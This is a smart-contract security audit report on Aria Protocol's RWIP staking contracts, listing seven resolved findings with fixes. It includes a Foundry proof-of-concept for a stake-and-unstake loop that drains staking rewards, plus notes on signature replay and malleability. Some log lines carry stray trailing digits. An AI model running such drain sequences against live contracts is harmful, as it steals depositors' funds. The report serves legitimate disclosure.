Aria Protocol Security Review

Pashov Audit Group

Conducted by: shaflow, aslanbek, DadeKuma

May 12th 2025 - May 13th 2025

Contents

1. About Pashov Audit Group

Pashov Audit Group consists of multiple teams of some of the best smart contract security researchers in the space. Having a combined reported security vulnerabilities count of over 1000, the group strives to create the absolute very best audit journey possible - although 100% security can never be guaranteed, we do guarantee the best efforts of our experienced researchers for your blockchain protocol. Check our previous work here or reach out on Twitter @pashovkrum.

2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

3. Introduction

A time-boxed security review of the **AriaProtocol/main-contracts** repository was done by **Pashov Audit Group**, with a focus on the security aspects of the application's smart contracts implementation.

4. About Aria RWIP Staking

Aria Protocol is a platform that enables fractional ownership of intellectual property by crowdsourcing funding, tokenizing IP assets into ERC20 tokens, and distributing royalties to stakeholders. It uses Vaults and disctribution contract to let users invest in IP, claim fractionalized tokens, and earn rewards.

This audit was focused on RWIP Staking which allows users to stake RWIP tokens, receive staking tickets, redeem them for staked RWIP tokens, and later unstake with KYC verification, all under owner-controlled and upgradeable governance.

5. Risk Classification

Severity	**Impact: High**	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

5.1. Impact

- High - leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- Medium - only a small amount of funds can be lost (such as leakage of value) or a core functionality of the protocol is affected.
- Low - can lead to any kind of unexpected behavior with some of the protocol's functionalities that's not so critical.

5.2. Likelihood

- High - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- Medium - only a conditionally incentivized attack vector, but still relatively likely.
- Low - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive.

5.3. Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

6. Security Assessment Summary

review commit hash - 25b3aa2e121830a71e98748fc103525363b810c2

fixes review commit hash - b6202d83adc813345e29965677ce86f74d0c7ecd

Scope

The following smart contracts were in scope of the audit:

- `RWIPStaking`
- `StakedRWIP`
- `StakingTicket`

7. Executive Summary

Over the course of the security review, shaflow, aslanbek, DadeKuma engaged with Aria to review Aria RWIP Staking. In this period of time a total of **7** issues were uncovered.

Protocol Summary

Protocol Name	Aria RWIP Staking
Repository	https://github.com/AriaProtocol/main-contracts
Date	May 12th 2025 - May 13th 2025
Protocol Type	Fundraising and shared ownership

Findings Count

Severity	**Amount**
High	1
Medium	1
Low	5
Total Findings	**7**

Summary of Findings

ID	Title	Severity	Status
[H-01]	stRWIP is always minted for RWIP in a 1:1 ratio	High	Resolved
[M-01]	_calculateStakingOut works incorrectly with stRWIP rewards	Medium	Resolved
[L-01]	StakedRWIP has an empty name and symbol	Low	Resolved
[L-02]	StakingTickets can get permanently stuck in a contract	Low	Resolved
[L-03]	Signatures can be reused between different chains	Low	Resolved
[L-04]	Signatures can be reused as they are vulnerable to malleability	Low	Resolved
[L-05]	Signatures do not use a nonce	Low	Resolved

8. Findings

8.1. High Findings

[H-01] stRWIP is always minted for RWIP in a 1:1 ratio

Severity

Impact: High

Likelihood: Medium

Description

For staking RWIP, users always receive stRWIP in a 1:1 ratio. For burning 1 stRWIP, they receive RWIP according to the current exchange rate, which is going to be above 1:1 because of rewards deposited into RWIPStaking. Therefore, the attacker can:

1. Call `stake` for 1000 RWIP.
2. Wait `minStakingHoldPeriod`.
3. Call `burnTicket`, receiving 1000 stRWIP.
4. Call `unstake` for 1000 stRWIP and receive >1000 RWIP (according to the current stRWIP/RWIP exchange rate).

The attack can be repeated for as long as there are any rewards to steal. As a result, the attacker will steal most of the staking rewards from the contract, rendering RWIP staking useless.

Proof of Concept

```
function test_bob_steals_rewards() public {
        assertEq(stakedRWIPToken.balanceOf(alice), 0);
        assertEq(rwipToken.balanceOf(alice), 1000e18);
        assertEq(rwipToken.balanceOf(bob), 1000e18);

        assertEq(rwipToken.allowance(alice, address(rwipStaking)), type
          (uint256).max);

        // alice stakes 1000e18 RWIP
        vm.prank(alice);
        rwipStaking.stake(1000e18, 1 days);
        vm.warp(block.timestamp + 1 days + 1);
        vm.prank(alice);
        rwipStaking.burnTicket(0);

        // RWIP rewards are deposited into rwipStaking when only Alice is
        // staking
        deal(address(rwipToken), address(this), 500e18);
        rwipToken.transfer(address(rwipStaking), 500e18);

        // Bob stakes and unstakes 10 times, draining rewards
        vm.startPrank(bob);
        for (uint i = 1; i < 11; i++) {
            rwipStaking.stake(rwipToken.balanceOf(bob), 1 days);
            vm.warp(block.timestamp + 1 days + 1);
            rwipStaking.burnTicket(i);

            rwipStaking.unstake(stakedRWIPToken.balanceOf(bob), "");
            emit log_named_uint("Bob's balance", rwipToken.balanceOf(bob));
        }
        vm.stopPrank();

        // Alice unstakes and receives ~0.078e18 out of 500e18 of RWIP rewards
        vm.prank(alice);
        rwipStaking.unstake(1000e18, "");
        emit log_named_uint("Alice's balance", rwipToken.balanceOf(alice));
    }
```

```
Logs:
  Bob's balance: 100000000000000000000
  Bob's balance: 125000000000000000000
  Bob's balance: 138888888888888888750
  Bob's balance: 145348837209302325410
  Bob's balance: 148104265402843601848 3
  Bob's balance: 149235912129894937896 5
  Bob's balance: 149693427859743245710 4
  Bob's balance: 149877220580900126518 3
  Bob's balance: 149950864100851432908 0
  Bob's balance: 149980341776642651791 3
  Bob's balance: 149992136092295244124 7
  Alice's balance: 100007863907704755800 0
```

Recommendations

RWIPStaking#burnTicket should use current stRWIP/RWIP exchange rate for calculating the amount of stRWIP to mint, instead of always minting 1 stRWIP per 1 RWIP.

This mitigation would enable the first depositor attack, which should be properly mitigated via virtual shares and decimal offset.

Fix

PR 51: mint stRWIP according to dynamic ratio

8.2. Medium Findings

[M-01] `_calculateStakingOut` works incorrectly with stRWIP rewards

Severity

Impact: Low

Likelihood: High

Description

If stRWIP is sent to the staking contract as staking rewards, _calculateStakingOut will calculate stRWIP/RWIP exchange rate incorrectly.

Consider the following scenario:

1. Alice stakes 1000 RWIP and receives 1000 stRWIP.
2. Bob stakes 1000 RWIP and receives 1000 stRWIP.
3. 100 stRWIP is later bought from the market (that were minted by Alice/Bob), and these 100 stRWIP are sent to RWIPStaking as rewards.

Now there are 2000 RWIP and 100 stRWIP in the contract, stRWIP's totalSupply is 2000.

`ratio` in _calculateStakingOut would be:

(RwipBalance + stRwipBalance) / stRwipTotalSupply = (2000 + 100) / 2000 = 21 / 20 = 1.05

As there are 1900 stRWIP in circulation, they will be redeemable for 1900 * 1.05 = 1995 RWIP, while the contract holds 2000 RWIP. Therefore, if there are stRWIP rewards, users would receive slightly less RWIP than they should from stRWIP redemptions.

Proof of Concept

```
function test_too_little_rwip_received_from_unstake() public {
    assertEq(stakedRWIPToken.balanceOf(alice), 0);
    assertEq(rwipToken.balanceOf(alice), 1000e18);
    assertEq(rwipToken.balanceOf(bob), 1000e18);

    assertEq(rwipToken.allowance(alice, address(rwipStaking)), type
      (uint256).max);

    vm.startPrank(alice);
    rwipStaking.stake(1000e18, 1 days);
    vm.warp(block.timestamp + 1 days + 1);
    rwipStaking.burnTicket(0);

    vm.startPrank(bob);
    rwipStaking.stake(1000e18, 1 days);
    vm.warp(block.timestamp + 1 days + 1);
    rwipStaking.burnTicket(1);

    // simulate bob selling 100 stRWIP
    // and the buyer depositing stRWIP into the staking contract as rewards
    stakedRWIPToken.transfer(address(rwipStaking), 100e18);
    vm.stopPrank();

    vm.prank(alice);
    rwipStaking.unstake(1000e18, "");
    vm.prank(bob);
    rwipStaking.unstake(900e18, "");

    assertEq(stakedRWIPToken.balanceOf(address
      (rwipStaking)), stakedRWIPToken.totalSupply());
    emit log_named_uint("Alice's balance", rwipToken.balanceOf(alice) / 1e18);
    emit log_named_uint("Bob's balance", rwipToken.balanceOf(bob) / 1e18);
    emit log_named_uint("contract's balance", rwipToken.balanceOf(address
      (rwipStaking)) / 1e18);
  }
```

```
Alice's balance: 1050
  Bob's balance: 945
  contract's balance: 5
```

Recommendations

The calculation should be: `RwipBalance / (stRwipTotalSupply - stRwipBalance)`.

In the example, the ratio would become 20 / 19, therefore all stRWIP in circulation would become redeemable for all RWIP in the staking contract.

Fix

PR 50: calculate out (un)staking ratios

8.3. Low Findings

[L-01] `StakedRWIP` has an empty name and symbol

In `StakedRWIP.initialize`, the `__ERC20_init` function is never called, so the token's name and symbol will be empty. Consider calling this function when initializing the contract.

Fix:

PR 48: add name and symbol to stRWIP token

[L-02] `StakingTickets` can get permanently stuck in a contract

In `StakingTicket.mint`, users will receive `ERC721` tokens, as it internally calls `_mint`. However, if `msg.sender` is a contract address that does not support `ERC721`, the tokens can be permanently frozen inside the contract.

Consider using `_safeMint` instead of `_mint`.

Fix:

PR 47: use safe mint in StakingTicket

[L-03] Signatures can be reused between different chains

In `RWIPStaking.unstake`, the signature's hash does not include the current `chain.id`. If the protocol is deployed on multiple chains, a signature from one chain can also be reused on other chains, even if a user is supposed to be authorized only on one.

Consider adding the `chain.id` to the signature's hash.

Fix:

PR 46: add chainid to KYC signature

[L-04] Signatures can be reused as they are vulnerable to malleability

In `RWIPStaking.unstake`, the current process is vulnerable to signature malleability, as there are currently no checks to ensure that this doesn't happen.

Citing OZ's documentation:

> EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most signatures from current libraries generate a unique signature with an s-value in the lower half order.
>
> If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept these malleable signatures as well.

Consider using OpenZeppelin's ECDSA library, which checks for signature malleability.

Fix:

PR 45: use OZ ECDSA for malleability protection

[L-05] Signatures do not use a nonce

In `RWIPStaking.unstake`, only users with the `addressHasKYC` flag or a valid signature should be allowed to access the unstaking function.

The problem is that `_checkKYCSignature` does not use a nonce, allowing a valid signature to be reused indefinitely. No mechanism is in place to prevent such reuse (it's possible to change the KYC_SIGNER, but that would invalidate all signatures), even if their KYC status is being revoked.

Consider implementing a nonce system to handle signatures.

Fix:

PR 44: Add nonce to kyc signature